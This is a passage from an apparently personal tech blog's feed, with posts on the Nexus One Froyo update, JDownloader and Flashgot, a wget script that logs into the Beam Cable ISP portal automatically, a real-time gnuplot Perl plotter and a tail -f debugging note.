&lt;td&gt;The new camera/gallery interface is just awesome and much easier to use. Feature wise I think the new options are focus settings, zoom settings and storage location quick switch, flash on during video recording for night video capture. I must also mention that auto-flash works much better now as earlier it used to almost always fire even in quite ample light but that maybe just me.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bigger Camera Pics&lt;/td&gt;
&lt;td&gt;Somehow the pics are a bit heavier in size. Earlier a max resolution, finest pic used to weigh around 900-950 kB for me but now they are around 1.09-1.1 MB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Keyboard Quick Access to numbers/punctuation&lt;/td&gt;
&lt;td&gt;Now, you don’t need to switch to the number mode by pressing “123?” key to input number/punctutation. Just press anywhere on the keyboard and drag it towards the preview/suggestion bar upwards and two new rows will appear with numbers and punctuation.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Library Projects&lt;/td&gt;
&lt;td&gt;This is something for the devs. Now, you can create library projects so that you can make a library and share it across your different apps. e.g. you can use same library of code for your paid and free versions, etc.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;wi-fi n&lt;/td&gt;
&lt;td&gt;yes, it supports 802.11n now :)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;End call with power button&lt;/td&gt;
&lt;td&gt;You can enable this in accessibility settings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;vcard support&lt;/td&gt;
&lt;td&gt;Nexus one can now handle vcards that someone sends through sms or bluetooth for contact information&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Now, on our list are things/apps that don&amp;rsquo;t work or issues that plague the new update. We will also be listing the workarounds/fixes if known for them.&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Issues&lt;/th&gt;
&lt;th&gt;Fix/Workaround/Remarks&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Seesmic app keeps giving &amp;ldquo;Connection error&amp;rdquo; with froyo&lt;/td&gt;
&lt;td&gt;Simple fix is to delete your existing account in seesmic. Setup a new account and uncheck &amp;ldquo;Secure connection&amp;rdquo; in advanced setup.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Swype doesn&amp;rsquo;t work&lt;/td&gt;
&lt;td&gt;Just uninstall swype and swype installer and download/install them again and it will work.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pure Calendar doesn&amp;rsquo;t work&lt;/td&gt;
&lt;td&gt;New versions have been released to make them work&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Android market doesn&amp;rsquo;t show a lot of apps&lt;/td&gt;
&lt;td&gt;As of now, android market is not showing a lot of paid/copy-protected apps on the market for froyo users. There is a workaround for root users available here: &lt;a href="http://forum.xda-developers.com/showthread.php?t=687371"&gt;http://forum.xda-developers.com/showthread.php?t=687371&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worse radio/3G performance&lt;/td&gt;
&lt;td&gt;Several users at modaco/xda-devs report worse performance with 3G. They say downgrading back to previous radio fixes this but try it at your own risk.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Things missing since previous versions (i.e. Eclair):&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Things missing&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;No “.com” button on the default Android keyboard&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;The final part of this post is for things that were rumored to be in the Froyo update for nexus one but aren&amp;rsquo;t present:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Rumored Feature/fix (Not present in Nexus One Froyo Update)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;FM Radio Receiver&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FM Transmitter&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;That&amp;rsquo;s it for now. This is a huge post and I must have missed out on a lot of things for sure. So, if you remember something that I have missed or something has changed over past few days after I wrote/updated this post, please do let me know in comments.&lt;/p&gt;</content></item><item><title>Android Froyo Update File</title><link>https://shantanugoel.com/2010/05/22/android-froyo-update/</link><pubDate>Sat, 22 May 2010 19:36:34 +0000</pubDate><guid>https://shantanugoel.com/2010/05/22/android-froyo-update/</guid><description>&lt;p&gt;Just a quick post to tell you how to update your Nexus One to Android 2.2 Froyo immediately without waiting for google to send it to you OTA.&lt;/p&gt;
&lt;p&gt;Download this file from google&amp;rsquo;s servers: &lt;a href="http://android.clients.google.com/packages/passion/signed-passion-FRF50-from-ERE27.1e519a24.zip"&gt;http://android.clients.google.com/packages/passion/signed-passion-FRF50-from-ERE27.1e519a24.zip&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;After that just follow the below mentioned steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Put it on your SD card and rename to update.zip&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Power off then hold trackball and press power again to boot into recovery&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Go to Bootloader -&amp;gt; Recovery&lt;/p&gt;</description><content>&lt;p&gt;Just a quick post to tell you how to update your Nexus One to Android 2.2 Froyo immediately without waiting for google to send it to you OTA.&lt;/p&gt;
&lt;p&gt;Download this file from google&amp;rsquo;s servers: &lt;a href="http://android.clients.google.com/packages/passion/signed-passion-FRF50-from-ERE27.1e519a24.zip"&gt;http://android.clients.google.com/packages/passion/signed-passion-FRF50-from-ERE27.1e519a24.zip&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;After that just follow the below mentioned steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Put it on your SD card and rename to update.zip&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Power off then hold trackball and press power again to boot into recovery&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Go to Bootloader -&amp;gt; Recovery&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Press power button + Vol. Increase&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Apply the update&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;</content></item><item><title>Integrate JDownloader with Flashgot</title><link>https://shantanugoel.com/2010/04/14/jdownloader-flashgot-integrate/</link><pubDate>Wed, 14 Apr 2010 16:21:41 +0000</pubDate><guid>https://shantanugoel.com/2010/04/14/jdownloader-flashgot-integrate/</guid><description>&lt;p&gt;This is just a short post to to document how I got JDownloader to integrate with Flashgot. JDownloader doesn&amp;rsquo;t have an installer but a zip file that you just download and extract somewhere on your PC and start using it. Somehow, the Flashgot extension of Firefox is not able to detect it automatically and I didn&amp;rsquo;t know what parameters to use to add it manually to its list. Latest versions of JDownloader ask you whether you want to install Flashgot or not. I didn&amp;rsquo;t install it because I already had Flashgot. Turns out that this is the missing step. You should allow JDownloader to install Flashgot in your browser, even if it is already installed(If you have already run JDownloader once and didn&amp;rsquo;t say yes to installing flashgot, then you can do it by going to Settings-&amp;gt;Plugins 7 Addons-&amp;gt;Extensions-&amp;gt;Flashgot for Firefox in JDownloader and clicking Install). And then, you will see that the JDownloader option is not grayed out anymore. If you see the version of Flashgot that JDownloader is installs is older than the official version, don&amp;rsquo;t fret. Now, you can re-update the flashgot addon (Tools-&amp;gt;Addons-&amp;gt;Find Updates in firefox) and the JDownloader integration will still stay intact. Hope that helps someone :)&lt;/p&gt;</description><content>&lt;p&gt;This is just a short post to to document how I got JDownloader to integrate with Flashgot. JDownloader doesn&amp;rsquo;t have an installer but a zip file that you just download and extract somewhere on your PC and start using it. Somehow, the Flashgot extension of Firefox is not able to detect it automatically and I didn&amp;rsquo;t know what parameters to use to add it manually to its list. Latest versions of JDownloader ask you whether you want to install Flashgot or not. I didn&amp;rsquo;t install it because I already had Flashgot. Turns out that this is the missing step. You should allow JDownloader to install Flashgot in your browser, even if it is already installed(If you have already run JDownloader once and didn&amp;rsquo;t say yes to installing flashgot, then you can do it by going to Settings-&amp;gt;Plugins 7 Addons-&amp;gt;Extensions-&amp;gt;Flashgot for Firefox in JDownloader and clicking Install). And then, you will see that the JDownloader option is not grayed out anymore. If you see the version of Flashgot that JDownloader is installs is older than the official version, don&amp;rsquo;t fret. Now, you can re-update the flashgot addon (Tools-&amp;gt;Addons-&amp;gt;Find Updates in firefox) and the JDownloader integration will still stay intact. Hope that helps someone :)&lt;/p&gt;</content></item><item><title>Automatic Login For Beam Cable</title><link>https://shantanugoel.com/2010/04/14/beam-cable-automatic-login/</link><pubDate>Wed, 14 Apr 2010 04:33:37 +0000</pubDate><guid>https://shantanugoel.com/2010/04/14/beam-cable-automatic-login/</guid><description>&lt;p&gt;&lt;strong&gt;This article will tell you a simple way to login automatically to beam cable (Beam-Telecom) internet connection instead of using the web login manually.&lt;/strong&gt; Not only that, I’ll also tell you how to do this auto-login through your router if you have one with a custom linux firmware. I took a beam cable connection a few days ago. The price is excellent and speeds are good but the only thing that bothered me was the web based login. You need to open up a browser and login through their online portal before you can access the internet. Now, if you don’t log off, then the login may persist even across PC/router reboots but many times it doesn’t. But in these times, it becomes a pain in the wrong place when I am just looking to play online on my PS3 or one of my various net-capable devices, scattered around the house, are trying to pull data and this forces me to open up my laptop just to login. Even for people who use the internet only on their PC, they might not be using the browser all the time and find it a hassle, minor one but still a hassle, to open a browser and login. Hence, I set out to find a way to do this automatically. (BTW, I’ll also be listing out how I came onto the solution in case you are in interested. If you are not, feel free to skip some paragraphs below to move to the solution)&lt;/p&gt;</description><content>&lt;p&gt;&lt;strong&gt;This article will tell you a simple way to login automatically to beam cable (Beam-Telecom) internet connection instead of using the web login manually.&lt;/strong&gt; Not only that, I’ll also tell you how to do this auto-login through your router if you have one with a custom linux firmware. I took a beam cable connection a few days ago. The price is excellent and speeds are good but the only thing that bothered me was the web based login. You need to open up a browser and login through their online portal before you can access the internet. Now, if you don’t log off, then the login may persist even across PC/router reboots but many times it doesn’t. But in these times, it becomes a pain in the wrong place when I am just looking to play online on my PS3 or one of my various net-capable devices, scattered around the house, are trying to pull data and this forces me to open up my laptop just to login. Even for people who use the internet only on their PC, they might not be using the browser all the time and find it a hassle, minor one but still a hassle, to open a browser and login. Hence, I set out to find a way to do this automatically. (BTW, I’ll also be listing out how I came onto the solution in case you are in interested. If you are not, feel free to skip some paragraphs below to move to the solution)&lt;/p&gt;
&lt;p&gt;First off, I came to know that Beam cable supports PPPoE logins, but for the life of me, I (and any of my friends) couldn’t get it working. So, I thought of an alternative approach. Since, this was just a login through a web page, there was a good chance that I could automate it through perl/wget/curl etc. I immediately opened up their portal and took a look at the source code in the hopes of finding out the login form, which I could use to find the POST data that they want and submit it through wget. But what I found was that they are using javascript to do the login process, so no direct way of finding this out. And on top of that, the functions are not embedded in the page but loaded through an external script.&lt;/p&gt;
&lt;p&gt;Hmm, a setback but a minor one. Javascript is still a client-side executed environment so all hope wasn’t lost. I could have waded through the browser cache to find the js files loaded by the portal and went through the functions to reconstruct the data that I need but I chose an easier way. There is this excellent addon for firefox called “Live Headers”. It shows you all the transactions happening between your browser and the server. So, I just fired it up, filled in my login details in the portal and hit “Login”. On seeing the live headers log, I found out the exact url as well as the POST data that they were sending to do the actual login and from there it was a piece of cake. With “wget”, it is as simple as executing&lt;/p&gt;
&lt;p&gt;&lt;code&gt;wget &amp;lt;url&amp;gt; --post-data=&amp;lt;data&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;So, by substituting the information that I got, this is the command that you need to execute on your PC (For linux/mac it is already installed generally and for windows, you will need to download from &lt;a href="http://gnuwin32.sourceforge.net/packages/wget.htm"&gt;here&lt;/a&gt;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wget http://123.176.37.2/newportal/Ajax.php --post-data=&amp;#34;function=ExecuteLogin&amp;amp;user=YOURBEAMUSERNAME&amp;amp;pwd=YOURBEAMPASSWORD&amp;amp;remember=false&amp;amp;timestamp=1271186686298&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Please remember to replace YOURBEAMUSERNAME and YOURBEAMPASSWORD with your actual username and password respectively. Also, please note that the above command is all one single line (it might appear in multiple lines in your browser).&lt;/p&gt;
&lt;p&gt;So, everytime you need to login just run this command. Now, how to do this automatically? For linux, just put it inside a shell script for linux and set it to run automatically on bootup. For windows, paste the command in a text file, and save it as beam_login.bat and put it in your start up folder so that it runs everytime on boot. (You might want to put some delays in there as it might take some time to get connected to the network or you can query the network interface to run it when the network is up. Let me know if you want to know how to do this for your platform and I can help you).&lt;/p&gt;
&lt;p&gt;So, this is for the PC, now how about if I need to use non-browser capable devices. This is easy if you have a router with a custom linux firmware (because they generally have wget installed or allow you to install it). I have an Asus wl-500w with oleg’s custom firmware installed and it was a piece of cake with it. I just created the following shell script&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt; -e Ajax.php &lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rm Ajax.php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#Limit the number of retries to prevent the router from going into continuous loop &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;num_retries&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt; $num_retries -gt &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wget http://123.176.37.2/newportal/Ajax.php --post-data&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;function=ExecuteLogin&amp;amp;user=YOURBEAMUSERNAME&amp;amp;pwd=YOURBEAMPASSWORD&amp;amp;remember=false&amp;amp;timestamp=1271186686298&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt; -e Ajax.php &lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rm Ajax.php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;break
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sleep 2s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;num_retries&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;expr $num_retries - 1&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then I set it to run on boot and voila!! A tip for other users of any of the asus routers with oleg’s firmware (like wl-500g, wl-520gu, wl-500gp etc). The firmware has some scripts in the /local/sbin folder that are run at various times. I suggest you put the above code inside the &lt;strong&gt;post-firewall&lt;/strong&gt; script. (Do not forget to run “flashfs save &amp;amp;&amp;amp; flasfs commit &amp;amp;&amp;amp; flashfs enable” to save your changes). Now, every time my router reboots, it automatically logs in to the connection :)&lt;/p&gt;
&lt;p&gt;Hope I have been clear in the isntructions. If you are unclear about anything or need any help in implementing it for your specific platform, do let me know.&lt;/p&gt;</content></item><item><title>Real Time Data Plotting with GNUPlot</title><link>https://shantanugoel.com/2009/12/29/real-time-plot-gnuplot/</link><pubDate>Tue, 29 Dec 2009 11:15:51 +0000</pubDate><guid>https://shantanugoel.com/2009/12/29/real-time-plot-gnuplot/</guid><description>&lt;p&gt;I wrote this script a few days ago to plot real-time / streaming data with gnuplot. The motivation was that I needed to test a piece of code for a touchscreen driver that I had written at work. The issue was that the UI wasn’t quite ready yet, so I wanted to test just the driver to be working fine. Now, the very first thought for the software to use that came to me was “gnuplot” but I found that it can’t really do this in an easy way. A colleague suggested me to use “replot” command with gnuplot. I whipped out my perl hat and a few hours later, voila!! my very own real time data plotter was ready. Now, I can stream data from any program to this script or provide the data on STDIN and can see the data being plotted continuously. BTW, it was awesome to see all the shapes that I drew on my target board’s LCD touchscreen to come alive on my PC monitor almost instantaneously.&lt;/p&gt;</description><content>&lt;p&gt;I wrote this script a few days ago to plot real-time / streaming data with gnuplot. The motivation was that I needed to test a piece of code for a touchscreen driver that I had written at work. The issue was that the UI wasn’t quite ready yet, so I wanted to test just the driver to be working fine. Now, the very first thought for the software to use that came to me was “gnuplot” but I found that it can’t really do this in an easy way. A colleague suggested me to use “replot” command with gnuplot. I whipped out my perl hat and a few hours later, voila!! my very own real time data plotter was ready. Now, I can stream data from any program to this script or provide the data on STDIN and can see the data being plotted continuously. BTW, it was awesome to see all the shapes that I drew on my target board’s LCD touchscreen to come alive on my PC monitor almost instantaneously.&lt;/p&gt;
&lt;p&gt;I call it “rtgnuplotter”. A weird name I know :P, but I just wanted to refer to it as a real time data plotter based on gnuplot.&lt;/p&gt;
&lt;p&gt;I’d love to hear from you if you found it useful. Please send in your bug reports and feature requests and I’d be glad if you could spread a word about it amongst your data-loving friends :)&lt;/p&gt;</content></item><item><title>RT-GNUPlot-ter</title><link>https://shantanugoel.com/2009/12/29/real-time-streaming-data-plot-gnuplot/</link><pubDate>Tue, 29 Dec 2009 10:52:56 +0000</pubDate><guid>https://shantanugoel.com/2009/12/29/real-time-streaming-data-plot-gnuplot/</guid><description>&lt;p&gt;This is a script to plot streaming / real-time data (i.e. plot the points as the data comes in) with gnuplot. The script is written in perl and works in windows as well as linux. Please read on to see the requirements, installation, usage and download link. I should also thank my colleague Rabindra Mandal, who gave me the initial idea and &lt;a href="http://users.softlab.ece.ntua.gr/~ttsiod/gnuplotStreaming.html"&gt;Thanassis Tsiodras&lt;/a&gt;, whose script I looked at before creating mine (though mine is quite different in nature. Tsiodras&amp;rsquo; script is for &amp;ldquo;moving&amp;rdquo; data like things with limitless ranges, while mine is more for data that has limitless occurences within a limited range as my main motivation behind it was to plot touchscreen data)&lt;/p&gt;</description><content>&lt;p&gt;This is a script to plot streaming / real-time data (i.e. plot the points as the data comes in) with gnuplot. The script is written in perl and works in windows as well as linux. Please read on to see the requirements, installation, usage and download link. I should also thank my colleague Rabindra Mandal, who gave me the initial idea and &lt;a href="http://users.softlab.ece.ntua.gr/~ttsiod/gnuplotStreaming.html"&gt;Thanassis Tsiodras&lt;/a&gt;, whose script I looked at before creating mine (though mine is quite different in nature. Tsiodras&amp;rsquo; script is for &amp;ldquo;moving&amp;rdquo; data like things with limitless ranges, while mine is more for data that has limitless occurences within a limited range as my main motivation behind it was to plot touchscreen data)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You are free to download, install, modify and use this script for any commercial/non-commercial purposes. However, if you modify the script and/or re-distribute it, I’d like to request you to keep the attribution to me as the author intact in the script as well as provide a credit/linkback to this page in associated files/webpages etc.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I’d also be happy if you can send me your modifications to fix any bugs or add new features and would be glad to incorporate them and host them here if you want.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You can also send in any bug reports or feature requests by posting a comment below.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Requirements:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.perl.org/get.html"&gt;Perl&lt;/a&gt; (Tested on v5.6.1 and v5.10. If you have linux, this might already be installed. For Windows, please click on the link.)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.gnuplot.info/download.html"&gt;gnuplot&lt;/a&gt; (Tested with v 4.2.6)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Installation:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Install the above mentioned requirements&lt;/li&gt;
&lt;li&gt;Make sure that you can run “perl” and “gnuplot” commands (“pgnuplot” instead of “gnuplot” if you have windows) in your shell/command prompt. If you see an issue, add the path to the executables for these to your environment variables.&lt;/li&gt;
&lt;li&gt;Download the below linked zip file and unzip it to any location (preferably to a place where you have write permissions as a normal user).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The script is named rtgnuplotter.pl. The various details regarding its usage are as below:&lt;/p&gt;
&lt;p&gt;Input Parameters:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-xrange min:max (Optional) Horizantal Range
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-yrange min:max (Optional) Vertical Range
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-invertx (Optional) Invert horizontal Axis
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-inverty (Optional) Invert Vertical Axis
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-hex (Optional) Input data is in hex (without leading 0x)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-joindots (Optional) Data points are connected with lines
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-h\-help\-v (Optional) Print usage and version info
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Input Data: The input data for rtgnuplotter is expected to be two space separated numbers, the first number being for x axis and second for y axis. Each set of coordinates denoting a point to be plotted should be on a new line. Hexadecimal as well as decimal numbers are supported. For Hexadecimal input, use the “-hex” option but the numbers should not have “0x” prefix.&lt;/p&gt;
&lt;p&gt;Usage: All the options for rtgnuplotter are optional. You can run it with/without any options and it will wait for you to provide input on standard input. You can also pipe data into the script from another program using “|”. Few examples of the usage are:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;perl rtgnuplotter.pl
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;tail -f mydata.log | grep --line-buffered “Data Points” | sed --unbuffered ‘s/.*x=\([0-9.-]*\).*y=\([0-9.-]*\).*/\1 \2/’ | perl rtgnuplotter.pl
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the second example above, we get the data being written to a logfile by some other program, grep for the lines that have our points, then extract just the numbers with sed and then pass them to rtgnuplotter. Please note that “&amp;ndash;line-buffered” and “&amp;ndash;unbuffered” options used with grep and sed respectively, are important, otherwise you might not see your data being plotted immediately.&lt;/p&gt;
&lt;p&gt;The zip file also contains a test file “inp.pl” that you can use to test the script. inp.pl generates some random numbers To run the test, just cd to the place where you unzipped the file and run the command line given in 2nd example in one command window and “perl inp.pl &amp;gt; temp.txt” in another.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Lost the files in a server move and not available anymore&lt;/em&gt;&lt;/p&gt;</content></item><item><title>Continuous Monitoring With Tail Fails</title><link>https://shantanugoel.com/2009/12/23/continuous-monitor-tail-fails/</link><pubDate>Wed, 23 Dec 2009 18:10:44 +0000</pubDate><guid>https://shantanugoel.com/2009/12/23/continuous-monitor-tail-fails/</guid><description>&lt;p&gt;If you can&amp;rsquo;t get tail command to continuously monitor a file, then read on. I was working on a script yesterday, a part of which depended on continuous monitoring of a text file. I had used our trusty old &amp;ldquo;tail&amp;rdquo; command for this but while testing by manually putting in some data into the file, it was failing but curiously it was working fine when used in actual scenario. Befuddled, I did a simple test. I created a simple text file &amp;ldquo;a.txt&amp;rdquo; with a few lines of data and then ran the following command.&lt;/p&gt;</description><content>&lt;p&gt;If you can&amp;rsquo;t get tail command to continuously monitor a file, then read on. I was working on a script yesterday, a part of which depended on continuous monitoring of a text file. I had used our trusty old &amp;ldquo;tail&amp;rdquo; command for this but while testing by manually putting in some data into the file, it was failing but curiously it was working fine when used in actual scenario. Befuddled, I did a simple test. I created a simple text file &amp;ldquo;a.txt&amp;rdquo; with a few lines of data and then ran the following command.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;tail -f a.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;It showed the last few lines of the file and kept waiting. So far so good. Then I opened the file in vim editor, wrote a few more lines, saved the file and then waited but nothing in the window that was running the tail command. Thinking that the data might be buffered and not flushed to the disc yet, I ran the sync command but still nothing.&lt;/p&gt;
&lt;p&gt;Then I got a hint that when I used the &amp;ldquo;-F&amp;rdquo; or &amp;ldquo;&amp;ndash;follow=name&amp;rdquo; option instead of &amp;ldquo;-f&amp;rdquo;, the tail command was able to detect the change just fine, the only problem being that in this mode, it prints the last few lines again, not just the newly added line. The main difference in these new options is that tail command tracks the file for changes by its name and not by the file descriptor, and then it dawned on me. The problem is not in the tail command but my testing method itself. When I save the file opened in vim, it creates a new file with a new inode while the one opened by tail is still the old one (which is now a temporary file which has actually been deleted). When I quit tail, then the kernel deletes the file automatically. This is also confirmed by running &amp;ldquo;lsof | grep a.txt&amp;rdquo; (lsof lists the open files and then we find the ones related to a.txt). The output shown is;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;tail 11966 shantanu 3r REG 8,6 8 224954 /home/shantanu/dev/perl/plot/a.txt~ (deleted)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim 12576 shantanu 9u REG 8,6 12288 210918 /home/shantanu/dev/perl/plot/.a.txt.swp
